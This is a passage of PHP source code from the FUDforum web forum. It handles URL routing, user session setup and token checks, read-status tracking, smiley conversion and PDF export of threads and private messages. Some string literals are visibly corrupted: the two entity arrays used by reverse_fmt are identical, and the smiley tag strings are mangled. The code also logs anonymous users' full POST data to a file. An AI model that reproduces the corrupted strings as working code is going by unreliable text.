// SESSION_USE_URL $_GET['S'] = array_pop($p); } if ($o2 & 8192) { // TRACK_REFERRALS $_GET['rid'] = array_pop($p); } $_SERVER['QUERY_STRING'] = htmlspecialchars($_SERVER['PATH_INFO']) .'?'. $_SERVER['QUERY_STRING']; /* Default to index or blog page. */ if (!isset($p[0])) { if ($o4 & 16 && $o4 & 32) { // Blog enabled and set as home page. $p[0] = 'blog'; } else { $p[0] = 'i'; } } /* Notice prevention code. */ for ($i = 1; $i < 5; $i++) { if (!isset($p[$i])) { $p[$i] = null; } } switch ($p[0]) { case 'm': /* goto specific message */ $_GET['t'] = 0; $_GET['goto'] = $p[1]; if (isset($p[2])) { $_GET['th'] = $p[2]; if (isset($p[3]) && is_numeric($p[3])) { $_GET['start'] = $p[3]; if ($p[3]) { $_GET['t'] = 'msg'; unset($_GET['goto']); } if (isset($p[4])) { if ($p[4] === 'prevloaded') { $_GET['prevloaded'] = 1; $i = 5; } else { $i = 4; } if (isset($p[$i])) { $_GET['rev'] = $p[$i]; if (isset($p[$i+1])) { $_GET['reveal'] = $p[$i+1]; } } } } } break; case 't': /* view thread */ $_GET['t'] = 0; $_GET['th'] = $p[1]; if (isset($p[2]) && is_numeric($p[2])) { // START is not currently used for thread paging. // Set to 0, but keep code for possible future implementation. // $_GET['start'] = $p[2]; $_GET['start'] = 0; if (!empty($p[3])) { $_GET[$p[3]] = 1; } } break; case 'f': /* view forum */ $_GET['t'] = 1; $_GET['frm_id'] = $p[1]; if (isset($p[2])) { $_GET['start'] = $p[2]; if (isset($p[3])) { if ($p[3] === '0') { $_GET['sub'] = 1; } else { $_GET['unsub'] = 1; } } } break; case 'r': $_GET['t'] = 'post'; $_GET[$p[1]] = $p[2]; if (isset($p[3])) { $_GET['reply_to'] = $p[3]; if (isset($p[4])) { if ($p[4]) { $_GET['quote'] = 'true'; } if (isset($p[5])) { $_GET['start'] = $p[5]; } } } break; case 'u': /* view user's info */ $_GET['t'] = 'usrinfo'; $_GET['id'] = $p[1]; break; case 'i': $_GET['t'] = 'index'; if (isset($p[1])) { $_GET['cat'] = (int) $p[1]; } break; case 'fa': $_GET['t'] = 'getfile'; $_GET['id'] = isset($p[1]) ? $p[1] : $pb[1]; if (!empty($p[2])) { $_GET['private'] = 1; } break; case 'sp': /* show posts */ $_GET['t'] = 'showposts'; $_GET['id'] = $p[1]; if (isset($p[2])) { $_GET['so'] = $p[2]; if (isset($p[3])) { $_GET['start'] = $p[3]; } } break; case 'l': /* login/logout */ $_GET['t'] = 'login'; if (isset($p[1])) { $_GET['logout'] = 1; } break; case 'e': $_GET['t'] = 'error'; break; case 'st': $_GET['t'] = $p[1]; $_GET['th'] = $p[2]; $_GET['notify'] = $p[3]; $_GET['opt'] = $p[4] ? 'on' : 'off'; if (isset($p[5])) { $_GET['start'] = $p[5]; } break; case 'sf': $_GET['t'] = $p[1]; $_GET['frm_id'] = $p[2]; $_GET[$p[3]] = 1; $_GET['start'] = $p[4]; break; case 'sl': /* subscribed topic list */ $_GET['t'] = 'subscribed'; if ($p[1] == 'start') { $_GET['start'] = $p[2]; } else { if (isset($p[2])) { $_GET['th'] = $p[2]; } else if (isset($p[1])) { $_GET['frm_id'] = $p[1]; } } break; case 'bml': /* bookmark list */ $_GET['t'] = 'bookmarked'; if ($p[1] == 'start') { $_GET['start'] = $p[2]; } else { if (isset($p[2])) { $_GET['th'] = $p[2]; } } break; case 'pmm': $_GET['t'] = 'ppost'; if (isset($p[1], $p[2])) { $_GET[$p[1]] = $p[2]; if (isset($p[3])) { $_GET['rmid'] = $p[3]; } } break; case 'pmv': $_GET['t'] = 'pmsg_view'; $_GET['id'] = $p[1]; if (isset($p[2])) { $_GET['dr'] = 1; } break; case 'pdm': $_GET['t'] = 'pmsg'; if (isset($p[1])) { if ($p[1] !== 'btn_delete') { $_GET['folder_id'] = $p[1]; } else { $_GET['btn_delete'] = 1; $_GET['sel'] = $p[2]; } if (isset($p[3])) { $_GET['s'] = $p[3]; $_GET['o'] = $p[4]; $_GET['start'] = $p[5]; } } break; case 'pl': /* poll list */ $_GET['t'] = 'polllist'; if (isset($p[1])) { $_GET['uid'] = $p[1]; if (isset($p[2])) { $_GET['start'] = $p[2]; if (isset($p[3])) { $_GET['oby'] = $p[3]; } } } break; case 'ml': /* member list */ $_GET['t'] = 'finduser'; if (isset($p[1])) { switch ($p[1]) { case 1: case 2: $_GET['pc'] = $p[1]; break; case 3: case 4: $_GET['us'] = $p[1]; break; case 5: case 6: $_GET['rd'] = $p[1]; break; case 7: case 8: $_GET['fl'] = $p[1]; break; case 9: case 10: $_GET['lv'] = $p[1]; break; } if (isset($p[2])) { $_GET['start'] = $p[2]; if (isset($p[3])) { $_GET['usr_login'] = urldecode($p[3]); if (isset($p[4])) { $_GET['js_redr'] = $p[5]; } } } } break; case 'h': /* help */ $_GET['t'] = 'help_index'; if (isset($p[1])) { $_GET['section'] = $p[1]; } break; case 'cv': /* change thread view mode */ $_GET['t'] = $p[1]; $_GET['frm_id'] = $p[2]; break; case 'mv': /* change message view mode */ $_GET['t'] = $p[1]; $_GET['th'] = $p[2]; if (isset($p[3])) { if ($p[3] !== '0') { $_GET['goto'] = $p[3]; } else { $_GET['prevloaded'] = 1; $_GET['start'] = $p[4]; if (isset($p[5])) { $_GET['rev'] = $p[5]; if (isset($p[6])) { $_GET['reveal'] = $p[6]; } } } } break; case 'pv': $_GET['t'] = 0; if (isset($p[1])) { $_GET['goto'] = q_singleval('SELECT id FROM fud30_msg WHERE poll_id='.(int)$p[1]); $_GET['pl_view'] = empty($p[2]) ? 0 : (int)$p[2]; } break; case 'rm': /* report message */ $_GET['t'] = 'report'; $_GET['msg_id'] = $p[1]; break; case 'rl': /* list of reported messages */ $_GET['t'] = 'reported'; if (isset($p[1])) { $_GET['del'] = $p[1]; } break; case 'd': /* delete thread/message */ $_GET['t'] = 'mmod'; $_GET['del'] = $p[1]; if (isset($p[2])) { $_GET['th'] = $p[2]; } break; case 'em': /* email forum member */ $_GET['t'] = 'email'; $_GET['toi'] = $p[1]; break; case 'mar': /* mark all/forum read */ $_GET['t'] = 'markread'; if (isset($p[1])) { $_GET['id'] = $p[1]; if (isset($p[2])) { $_GET['cat'] = $p[2]; } } break; case 'bl': /* buddy list */ $_GET['t'] = 'buddy_list'; if (isset($p[1])) { if (!empty($p[2])) { $_GET['add'] = $p[1]; } else { $_GET['del'] = $p[1]; } if (isset($p[3])) { $_GET['redr'] = 1; } } break; case 'il': /* ignore list */ $_GET['t'] = 'ignore_list'; if (isset($p[1])) { if (!empty($p[2])) { $_GET['add'] = $p[1]; } else { $_GET['del'] = $p[1]; } if (isset($p[3])) { $_GET['redr'] = 1; } } break; case 'lk': /* lock/unlock thread */ $_GET['t'] = 'mmod'; $_GET['th'] = $p[1]; $_GET[$p[2]] = 1; break; case 'stt': /* split thread */ $_GET['t'] = 'split_th'; if (isset($p[1])) { $_GET['th'] = $p[1]; } break; case 'ef': /* email to friend */ $_GET['t'] = 'remail'; $_GET['th'] = $p[1]; break; case 'lr': /* list referers */ $_GET['t'] = 'list_referers'; if (isset($p[1])) { $_GET['start'] = $p[1]; } break; case 'a': $_GET['t'] = 'actions'; if (isset($p[1], $p[2])) { $_GET['o'] = $p[1]; $_GET['s'] = $p[2]; } break; case 's': $_GET['t'] = 'search'; if (isset($p[1])) { $_GET['srch'] = urldecode($p[1]); $_GET['field'] = isset($p[2]) ? $p[2] : ''; $_GET['search_logic'] = isset($p[3]) ? $p[3] : ''; $_GET['sort_order'] = isset($p[4]) ? $p[4] : ''; $_GET['forum_limiter'] = isset($p[5]) ? $p[5] : ''; $_GET['start'] = isset($p[6]) ? $p[6] : ''; $_GET['author'] = isset($p[7]) ? $p[7] : ''; } break; case 'p': if (!is_numeric($p[1])) { $_GET[$p[1]] = $p[2]; } else { $_GET['frm'] = $p[1]; $_GET['page'] = $p[2]; } break; case 'ot': $_GET['t'] = 'online_today'; if (isset($p[1], $p[2])) { $_GET['o'] = $p[1]; $_GET['s'] = $p[2]; } break; case 're': $_GET['t'] = 'register'; if (isset($p[1])) { $_GET['reg_coppa'] = $p[1]; } break; case 'tt': $_GET['t'] = $p[1]; $_GET['frm_id'] = $p[2]; break; case 'mh': $_GET['t'] = 'mvthread'; $_GET['th'] = $p[1]; if (isset($p[2], $p[3])) { $_GET[$p[2]] = $p[3]; } break; case 'mn': $_GET['t'] = $p[1]; $_GET['th'] = $p[2]; $_GET['notify'] = $p[3]; $_GET['opt'] = $p[4]; if (isset($p[5])) { if ($p[1] == 'msg') { $_GET['start'] = $p[5]; } else { $_GET['mid'] = $p[5]; } } break; case 'bm': /* bookmark/unbookmark a topic */ $_GET['t'] = $p[1]; $_GET['th'] = $p[2]; $_GET['bookmark'] = $p[3]; $_GET['opt'] = $p[4]; if (isset($p[5])) { if ($p[1] == 'msg') { $_GET['start'] = $p[5]; } else { $_GET['mid'] = $p[5]; } } break; case 'tr': $_GET['t'] = 'ratethread'; break; case 'gm': $_GET['t'] = 'groupmgr'; if (isset($p[1], $p[2], $p[3])) { $_GET[$p[1]] = $p[2]; $_GET['group_id'] = $p[3]; } break; case 'te': $_GET['t'] = 'thr_exch'; if (isset($p[1], $p[2])) { $_GET[$p[1]] = $p[2]; } break; case 'mq': $_GET['t'] = 'modque'; if (isset($p[1], $p[2])) { $_GET[$p[1]] = $p[2]; } break; case 'pr': $_GET['t'] = 'pre_reg'; $_GET['coppa'] = $p[1]; break; case 'qb': $_GET['t'] = 'qbud'; break; case 'po': $_GET['t'] = 'poll'; $_GET['frm_id'] = $p[1]; if (isset($p[2])) { $_GET['pl_id'] = $p[2]; if (isset($p[3], $p[4])) { $_GET[$p[3]] = $p[4]; } } break; case 'sm': $_GET['t'] = 'smladd'; break; case 'mk': $_GET['t'] = 'mklist'; $_GET['tp'] = $p[1]; break; case 'rp': $_GET['t'] = 'rpasswd'; break; case 'as': $_GET['t'] = 'avatarsel'; break; case 'sel': $_GET['t'] = 'selmsg'; $c = count($p) - 1; if ($c % 2) { --$c; } $c /= 2; $i = 0; while ($c--) { $_GET[$p[++$i]] = $p[++$i]; } break; case 'pml': $_GET['t'] = 'pmuserloc'; $_GET['js_redr'] = $p[1]; if (isset($p[2])) { $_GET['overwrite'] = 1; } break; case 'rst': $_GET['t'] = 'reset'; if (isset($p[1])) { $_GET['email'] = urldecode($p[1]); } break; case 'cpf': $_GET['t'] = 'coppa_fax'; break; case 'cp': $_GET['t'] = 'coppa'; break; case 'rc': $_GET['t'] = 'reg_conf'; break; case 'ma': $_GET['t'] = 'mnav'; if (isset($p[1])) { $_GET['rng'] = isset($p[1]) ? $p[1] : 0; $_GET['rng2'] = isset($p[2]) ? $p[2] : 0; $_GET['u'] = isset($p[3]) ? $p[3] : 0; $_GET['start'] = isset($p[4]) ? $p[4] : 0; $_GET['sub'] = !empty($p[5]); } break; case 'ip': $_GET['t'] = 'ip'; if (isset($p[1])) { $_GET[($p[1][0] == 'i' ? 'ip' : 'user')] = isset($p[2]) ? $p[2] : ''; } break; case 'met': $_GET['t'] = 'merge_th'; if (isset($p[1])) { $_GET['frm_id'] = $p[1]; } break; case 'uc': $_GET['t'] = 'uc'; if (isset($p[1], $p[2])) { $_GET[$p[1]] = $p[2]; } break; case 'mmd': $_GET['t'] = 'mmd'; break; case 'cal': /* Calendar */ $_GET['t'] = 'calendar'; break; case 'blog': /* Blog */ $_GET['t'] = 'blog'; if ($p[1] == 'u' && isset($p[2])) { $_GET['user'] = $p[2]; $_GET['start'] = isset($p[3]) ? $p[3] : 0; } if ($p[1] == 'f' && isset($p[2])) { $_GET['forum'] = $p[2]; $_GET['start'] = isset($p[3]) ? $p[3] : 0; } else { $_GET['start'] = $p[1]; } break; case 'page': /* Static page */ $_GET['t'] = 'page'; if (isset($p[1])) { $_GET['id'] = $p[1]; } break; default: // Page not specified, redirect to front page. $_GET['t'] = 'index'; break; } $GLOBALS['t'] = $_GET['t']; } else if (isset($_GET['t'])) { $GLOBALS['t'] = (string) $_GET['t']; } else if (isset($_POST['t'])) { $GLOBALS['t'] = (string) $_POST['t']; } else { if ($o4 & 16 && $o4 & 32) { // Blog enabled and set as home page. $GLOBALS['t'] = 'blog'; } else { $GLOBALS['t'] = 'index'; } } if ($GLOBALS['t'] == 'register') { $GLOBALS['THREADS_PER_PAGE_F'] = $GLOBALS['THREADS_PER_PAGE']; // Store old value. } header('P3P: CP="ALL CUR OUR IND UNI ONL INT CNT STA"'); /* P3P Policy. */ $sq = 0; /* Fetch an object with the user's session, profile & theme info. */ if (!($u = ses_get()) && defined('plugins')) { /* Call auto-login plugins. */ $u = plugin_call_hook('AUTO_LOGIN'); } if (!$u) { /* New anon user. */ $u = ses_anon_make(); // Log POST reuests for Anon users. if (defined('fud_logging') || $GLOBALS['is_post'] ) { fud_logerror($_SERVER['REQUEST_URI'] .': '. print_r($_POST, true), 'post.log'); } } else if ($u->id != 1 && (!$GLOBALS['is_post'] || sq_check(1, $u->sq, $u->id, $u->ses_id))) { /* Store the last visit date for registered user. */ q('UPDATE fud30_users SET last_visit='. __request_timestamp__ .' WHERE id='. $u->id); if ($GLOBALS['FUD_OPT_3'] & 1) { // SESSION_COOKIES setcookie($GLOBALS['COOKIE_NAME'], $u->ses_id, 0, $GLOBALS['COOKIE_PATH'], $GLOBALS['COOKIE_DOMAIN']); } if (!$u->sq || __request_timestamp__ - $u->last_visit > 180) { // 3 min. $u->sq = $sq = regen_sq($u->id); if (!$GLOBALS['is_post']) { $_GET['SQ'] = $sq; } else { $_POST['SQ'] = $sq; } } else { $sq =& $u->sq; } } // Prevent spiders from doing funny stuff. if (($u->users_opt & 1073741824) && $GLOBALS['is_post']) { // is_spider die('Bad bot!'); } /* Disable caching for registered users and POST requests. */ if ($GLOBALS['is_post'] || $u->id > 1) { header('Cache-Control: no-store, private, must-revalidate, proxy-revalidate, post-check=0, pre-check=0, max-age=0, s-maxage=0'); header('Expires: Mon, 21 Jan 1980 06:01:01 GMT'); header('Pragma: no-cache'); } if ($u->data) { $u->data = unserialize($u->data); } $uo = $u->users_opt = (int)$u->users_opt; /* This should allow path_info & normal themes to work properly within 1 forum. */ if ($o2 & 32768 && !($u->theme_opt & 4)) { $o2 ^= 32768; } /* Handle PM disabling for users. */ if (!($GLOBALS['is_a'] = $uo & 1048576) && $uo & 33554432) { $o1 = $o1 &~ 1024; } /* Set timezone. */ if (empty($u->time_zone) || @date_default_timezone_set($u->time_zone) === FALSE) { date_default_timezone_set($GLOBALS['SERVER_TZ']); } /* Set locale. */ $GLOBALS['good_locale'] = setlocale(LC_ALL, $u->locale); /* Call inituser plugins. */ if (defined('plugins')) { plugin_call_hook('INITUSER', $u); } /* View format for threads & messages. */ define('d_thread_view', $uo & 256 ? 'msg' : 'tree'); define('t_thread_view', $uo & 128 ? 'thread' : 'threadt'); if ($GLOBALS['t'] === 0) { $GLOBALS['t'] = $_GET['t'] = d_thread_view; } else if ($GLOBALS['t'] === 1) { $GLOBALS['t'] = $_GET['t'] = t_thread_view; } /* Define theme path, may already be set by a plugin. */ defined('fud_theme') or define('fud_theme', 'theme/'. ($u->theme_name ? $u->theme_name : 'default') .'/'); /* Define _uid, which, will tell us if this is a 'real' user or not. */ define('__fud_real_user__', ($u->id != 1 ? $u->id : 0)); define('_uid', __fud_real_user__ && ($uo & 131072) && !($uo & 2097152) ? $u->id : 0); /* Allow user to set their own topics per page value, as long as it is smaller then the max. */ if (__fud_real_user__ && $GLOBALS['THREADS_PER_PAGE'] > $u->topics_per_page) { $GLOBALS['THREADS_PER_PAGE'] = (int) $u->topics_per_page; } $GLOBALS['sq'] = $sq; /* Define constants used to track URL sessions & referrals. */ if ($o1 & 128) { define('s', $u->ses_id); define('_hs', ''); if ($o2 & 8192) { if ($o2 & 32768) { define('_rsid', __fud_real_user__ .'/'. s .'/'); } else { define('_rsid', 'rid='. __fud_real_user__ .'&S='. s); } } else { if ($o2 & 32768) { define('_rsid', s .'/'); } else { define('_rsid', 'S='. s); } } } else { define('s', ''); define('_hs', ''); if ($o2 & 8192) { if ($o2 & 32768) { define('_rsid', __fud_real_user__ .'/'); } else { define('_rsid', 'rid='. __fud_real_user__); } } else { define('_rsid', ''); } } define('_rsidl', ($o2 & 32768 ? _rsid : str_replace('&', '&', _rsid))); return $u; } function user_register_forum_view($frm_id) { if (__dbtype__ == 'mysql') { // MySQL optimization. q('INSERT INTO fud30_forum_read (forum_id, user_id, last_view) VALUES ('. $frm_id .', '. _uid .', '. __request_timestamp__ .') ON DUPLICATE KEY UPDATE last_view=VALUES(last_view)'); return; } if (!db_li('INSERT INTO fud30_forum_read (forum_id, user_id, last_view) VALUES ('. $frm_id .', '. _uid .', '. __request_timestamp__ .')', $ef)) { q('UPDATE fud30_forum_read SET last_view='. __request_timestamp__ .' WHERE forum_id='. $frm_id .' AND user_id='. _uid); } } function user_register_thread_view($thread_id, $tm=__request_timestamp__, $msg_id=0) { if (__dbtype__ == 'mysql') { // MySQL optimization. q('INSERT INTO fud30_read (last_view, msg_id, thread_id, user_id) VALUES('. $tm .', '. $msg_id .', '. $thread_id .', '. _uid .') ON DUPLICATE KEY UPDATE last_view=VALUES(last_view), msg_id=VALUES(msg_id)'); return; } if (!db_li('INSERT INTO fud30_read (last_view, msg_id, thread_id, user_id) VALUES('. $tm .', '. $msg_id .', '. $thread_id .', '. _uid .')', $ef)) { q('UPDATE fud30_read SET last_view='. $tm .', msg_id='. $msg_id .' WHERE thread_id='. $thread_id .' AND user_id='. _uid); } } function user_set_post_count($uid) { $pd = db_saq('SELECT MAX(id), count(*) FROM fud30_msg WHERE poster_id='. $uid .' AND apr=1'); $level_id = (int) q_singleval(q_limit('SELECT id FROM fud30_level WHERE post_count <= '. $pd[1] .' ORDER BY post_count DESC', 1)); q('UPDATE fud30_users SET u_last_post_id='. (int)$pd[0] .', posted_msg_count='. (int)$pd[1] .', level_id='. $level_id .' WHERE id='. $uid); } function user_mark_all_read($id) { q('UPDATE fud30_users SET last_read='. __request_timestamp__ .' WHERE id='. $id); q('DELETE FROM fud30_read WHERE user_id='. $id); q('DELETE FROM fud30_forum_read WHERE user_id='. $id); } function user_mark_forum_read($id, $fid, $last_view) { if (__dbtype__ == 'mysql') { // MySQL optimization. q('INSERT INTO fud30_read (user_id, thread_id, msg_id, last_view) SELECT '. $id .', id, last_post_id, '. __request_timestamp__ .' FROM fud30_thread WHERE forum_id='. $fid .' AND last_post_date > '. $last_view .' ON DUPLICATE KEY UPDATE last_view=VALUES(last_view), msg_id=VALUES(msg_id)'); } else if (__dbtype__ == 'sqlite') { // SQLite optimization. q('REPLACE INTO fud30_read (user_id, thread_id, msg_id, last_view) SELECT '. $id .', id, last_post_id, '. __request_timestamp__ .' FROM fud30_thread WHERE forum_id='. $fid .' AND last_post_date > '. $last_view); } else { // Other databases. if (!db_li('INSERT INTO fud30_read (user_id, thread_id, msg_id, last_view) SELECT '. $id .', id, last_post_id, '. __request_timestamp__ .' FROM fud30_thread WHERE forum_id='. $fid .' AND last_post_date > '. $last_view, $ef)) { q('UPDATE fud30_read SET user_id='. $id .', msg_id=t.last_post_id, last_view='. __request_timestamp__ .' FROM (SELECT id, last_post_id FROM fud30_thread WHERE forum_id='. $fid .' AND last_post_date > '. $last_view .') t WHERE user_id='. $id .' AND thread_id=t.id'); } } user_register_forum_view($fid); } function sq_check($post, &$sq, $uid=__fud_real_user__, $ses=s) { /* No sequence # check for anonymous users. */ if (!$uid) { return 1; } if ($post && isset($_POST['SQ'])) { $s = $_POST['SQ']; } else if (!$post && isset($_GET['SQ'])) { $s = $_GET['SQ']; } else { $s = 0; } if ($sq !== $s) { if ($GLOBALS['t'] == 'post' || $GLOBALS['t'] == 'ppost') { define('fud_bad_sq', 1); $sq = regen_sq($uid); return 1; } header('Location: [[relativeurl]]/index.php?S='. $ses); exit; } return 1; } function regen_sq($uid=__fud_real_user__) { $sq = md5(get_random_value(128)); q('UPDATE fud30_users SET sq=\''. $sq .'\' WHERE id='. $uid); return $sq; } // Initialize user session. if (isset($_SERVER['REMOTE_ADDR']) && !defined('no_session')) { $GLOBALS['usr'] = init_user(); }function read_msg_body($off, $len, $id) { if ($off == -1) { // Fetch from DB and return. return q_singleval('SELECT data FROM fud30_msg_store WHERE id='. $id); } if (!$len) { // Empty message. return; } // Open file if it's not already open. if (!isset($GLOBALS['__MSG_FP__'][$id])) { $GLOBALS['__MSG_FP__'][$id] = fopen($GLOBALS['MSG_STORE_DIR'] .'msg_'. $id, 'rb'); } // Read from file. fseek($GLOBALS['__MSG_FP__'][$id], $off); return fread($GLOBALS['__MSG_FP__'][$id], $len); }$GLOBALS['__revfs'] = array('"', '<', '>', '&'); $GLOBALS['__revfd'] = array('"', '<', '>', '&'); function reverse_fmt($data) { $s = $d = array(); if (empty($data)) return ''; foreach ($GLOBALS['__revfs'] as $k => $v) { if (strpos($data, $v) !== false) { $s[] = $v; $d[] = $GLOBALS['__revfd'][$k]; } } return $s ? str_replace($s, $d, $data) : $data; }$GLOBALS['__SML_CHR_CHK__'] = array("\n"=>1, "\r"=>1, "\t"=>1, ' '=>1, ']'=>1, '['=>1, '<'=>1, '>'=>1, '\''=>1, '"'=>1, '('=>1, ')'=>1, '.'=>1, ','=>1, '!'=>1, '?'=>1, ';'=>1); function smiley_to_post($text) { $text_l = strtolower($text); include $GLOBALS['FORUM_SETTINGS_PATH'] .'sp_cache'; /* remove all non-formatting blocks */ foreach (array(''=>'
', '' => '') as $k => $v) {
		$p = 0;
		while (($p = strpos($text_l, $v, $p)) !== false) {
			if (($e = strpos($text_l, $k, $p)) === false) {
				$p += 5;
				continue;
			}
			$text_l = substr_replace($text_l, str_repeat(' ', $e - $p), $p, ($e - $p));
			$p = $e;
		}
	}

	foreach ($SML_REPL as $k => $v) {
		$a = 0;
		$len = strlen($k);
		while (($a = strpos($text_l, $k, $a)) !== false) {
			if ((!$a || isset($GLOBALS['__SML_CHR_CHK__'][$text_l[$a - 1]])) && ((@$ch = $text_l[$a + $len]) == '' || isset($GLOBALS['__SML_CHR_CHK__'][$ch]))) {
				$text_l = substr_replace($text_l, $v, $a, $len);
				$text = substr_replace($text, $v, $a, $len);
				$a += strlen($v) - $len;
			} else {
				$a += $len;
			}
		}
	}

	return $text;
}

function post_to_smiley($text)
{
	/* include once since draw_post_smiley_cntrl() may use it too */
	include_once $GLOBALS['FORUM_SETTINGS_PATH'].'ps_cache';
	if (isset($PS_SRC)) {
		$GLOBALS['PS_SRC'] = $PS_SRC;
		$GLOBALS['PS_DST'] = $PS_DST;
	} else {
		$PS_SRC = $GLOBALS['PS_SRC'];
		$PS_DST = $GLOBALS['PS_DST'];
	}

	/* check for emoticons */
	foreach ($PS_SRC as $k => $v) {
		if (strpos($text, $v) === false) {
			unset($PS_SRC[$k], $PS_DST[$k]);
		}
	}

	return $PS_SRC ? str_replace($PS_SRC, $PS_DST, $text) : $text;
}


	if (!($FUD_OPT_2 & 134217728)) {	// PDF_ENABLED
		std_error('disabled');
	}

	if ($FUD_OPT_2 & 16384) {		// PHP_COMPRESSION_ENABLE
		ob_start('ob_gzhandler', (int)$PHP_COMPRESSION_LEVEL);
	}

	$forum	= isset($_GET['frm']) ? (int)$_GET['frm'] : 0;
	$thread	= isset($_GET['th']) ? (int)$_GET['th'] : 0;
	$msg	= isset($_GET['msg']) ? (int)$_GET['msg'] : 0;
	$page	= isset($_GET['page']) ? (int)$_GET['page'] : 0;
	$sel	= isset($_GET['sel']) ? (array)$_GET['sel'] : array();

	// Cleanup $sel
	foreach ($sel as $k => $v) {
		if ($v = (int)$v) {
			$sel[$k] = $v;
		} else {
			unset($sel[$k]);
		}
	}

	if ($forum) {
		if (!($FUD_OPT_2 & 268435456)) {	// PDF_ALLOW_FULL
			 std_error('disabled');		
		}

		if (!$page) {
			$page = 1;
		}

		if ($page) {
			if (!q_singleval('SELECT id FROM fud30_forum WHERE id='. $forum)) {
				invl_inp_err();
			}
			$lwi = q_singleval(q_limit('SELECT seq FROM fud30_tv_'. $forum .' ORDER BY seq DESC', 1));
			if ($lwi === NULL || $lwi === FALSE) {
				invl_inp_err();
			}

			$join = 'FROM fud30_tv_'. $forum .' tv
				INNER JOIN fud30_thread t ON t.id=tv.thread_id
				INNER JOIN fud30_forum f ON f.id='. $forum .'
				INNER JOIN fud30_msg m ON m.thread_id=t.id
				LEFT JOIN fud30_users u ON m.poster_id=u.id
				LEFT JOIN fud30_poll p ON m.poll_id=p.id
			';
			$lmt = ' AND tv.seq BETWEEN '. ($lwi - ($page * $THREADS_PER_PAGE) + 1) .' AND '. ($lwi - (($page - 1) * $THREADS_PER_PAGE));
		} else {
			$join = 'FROM fud30_forum f
				INNER JOIN fud30_thread t ON t.forum_id=f.id
				INNER JOIN fud30_msg m ON m.thread_id=t.id
				LEFT JOIN fud30_users u ON m.poster_id=u.id
				LEFT JOIN fud30_poll p ON m.poll_id=p.id
			';
			$lmt = ' AND f.id='. $forum;
		}
	} else if ($thread) {
		$join = 'FROM fud30_msg m
				INNER JOIN fud30_thread t ON t.id=m.thread_id
				INNER JOIN fud30_forum f ON f.id=t.forum_id
				LEFT JOIN fud30_users u ON m.poster_id=u.id
				LEFT JOIN fud30_poll p ON m.poll_id=p.id
			';
		$lmt = ' AND m.thread_id='. $thread;
	} else if ($msg) {
		$lmt = ' AND m.id='. $msg;
		$join = 'FROM fud30_msg m
				INNER JOIN fud30_thread t ON t.id=m.thread_id
				INNER JOIN fud30_forum f ON f.id=t.forum_id
				LEFT JOIN fud30_users u ON m.poster_id=u.id
				LEFT JOIN fud30_poll p ON m.poll_id=p.id
			';
	} else if ($sel) { /* PM handling. */
		if (!q_singleval('SELECT count(*) FROM fud30_pmsg WHERE id IN('. implode(',', $sel) .') AND duser_id='. _uid)) {
			invl_inp_err();
		}
		fud_use('private.inc');
	} else {
		invl_inp_err();
	}

	if (_uid) {
		if (!$is_a) {
			$join .= '	INNER JOIN fud30_group_cache g1 ON g1.user_id=2147483647 AND g1.resource_id=f.id
					LEFT JOIN fud30_group_cache g2 ON g2.user_id='. _uid .' AND g2.resource_id=f.id
					LEFT JOIN fud30_mod mm ON mm.forum_id=f.id AND mm.user_id='. _uid .' ';
			$lmt .= ' AND (mm.id IS NOT NULL OR '. q_bitand('COALESCE(g2.group_cache_opt, g1.group_cache_opt)', 2) .' > 0)';
		}
	} else {
		$join .= ' INNER JOIN fud30_group_cache g1 ON g1.user_id=0 AND g1.resource_id=f.id ';
		$lmt .= ' AND '. q_bitand('g1.group_cache_opt', 2) .' > 0';
	}

	if ($forum) {
		$subject = q_singleval('SELECT name FROM fud30_forum WHERE id='. $forum);
	}

	if (!$sel) {
		$c = q('SELECT
				m.id, m.thread_id, m.subject, m.post_stamp,
				m.attach_cnt, m.attach_cache, m.poll_cache,
				m.foff, m.length, m.file_id, u.id AS user_id,
				COALESCE(u.alias, \''. $ANON_NICK .'\') as alias,
				p.name AS poll_name, p.total_votes
			'. $join .'
			WHERE
				t.moved_to=0 AND m.apr=1 '. $lmt .' ORDER BY m.post_stamp, m.thread_id');
	} else {
		$c = q('SELECT p.*, u.alias, p.duser_id AS user_id FROM fud30_pmsg p 
				LEFT JOIN fud30_users u ON p.ouser_id=u.id
				WHERE p.id IN('. implode(',', $sel) .') AND p.duser_id='. _uid);
	}

	if (!($o = db_rowobj($c))) {
		invl_inp_err();
	}

	if ($thread || $msg) {
		$subject = reverse_fmt($o->subject);
	} else if ($sel) {
		$subject = 'Private Message Archive';
	}

	$fpdf = new fud_pdf('P', 'mm', $PDF_PAGE);
	$fpdf->SetAuthor('FUDforum '. $FORUM_VERSION);
	$fpdf->SetTitle(html_entity_decode($FORUM_TITLE));
	$fpdf->SetSubject($subject);
	$fpdf->SetMargins($PDF_WMARGIN, $PDF_HMARGIN);
	$fpdf->AliasNbPages('{fnb}');       // Alias for total number of pages.

	$fpdf->begin_page($subject);
	do {
		/* Write message header. */
		$fpdf->message_header(html_entity_decode($o->subject), array($o->user_id, html_entity_decode($o->alias)), $o->post_stamp, $o->id, (isset($o->thread_id) ? $o->thread_id : 0));

		/* Write message body. */
		if (!$sel) {
			$body = read_msg_body($o->foff, $o->length, $o->file_id);
		} else {
			$body = read_pmsg_body($o->foff, $o->length);
		}

		$fpdf->input_text(html_entity_decode(strip_tags(post_to_smiley($body))));

		/* Handle attachments. */
		if ($o->attach_cnt) {
			if (!empty($o->attach_cache) && ($a = unserialize($o->attach_cache))) {
				$attch = array();
				foreach ($a as $i) {
					$attch[] = array('id' => $i[0], 'name' => $i[1], 'nd' => $i[3]);
				}
				$fpdf->add_attacments($attch);
			} else if ($sel) {
				$attch = array();
				$c2 = uq('SELECT id, original_name, dlcount FROM fud30_attach WHERE message_id='. $o->id .' AND attach_opt=1');
				while ($r2 = db_rowarr($c2)) {
					$attch[] = array('id' => $r2[0], 'name' => $r2[1], 'nd' => $r2[2]);
				}
				unset($c2);
				if ($attch) {
					$fpdf->add_attacments($attch, 1);
				}
			}
		}

		/* Handle polls. */
		if (!empty($o->poll_name) && $o->poll_cache && ($pc = unserialize($o->poll_cache))) {
			$votes = array();
			foreach ($pc as $opt) {
				$votes[] = array('name' => html_entity_decode(strip_tags(post_to_smiley($opt[0]))), 'votes' => $opt[1]);
			}
			$fpdf->add_poll(html_entity_decode($o->poll_name), $votes, $o->total_votes);
		}

		$fpdf->end_message();
	} while (($o = db_rowobj($c)));
	unset($c);

	/* Output content to browser. */
	$out = $fpdf->Output('FUDforum'. date('Ymd') .'.pdf', 'S');
	header('Content-Type: application/pdf');
	if ($_SERVER['SERVER_PORT'] == '443' && (strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== false)) {
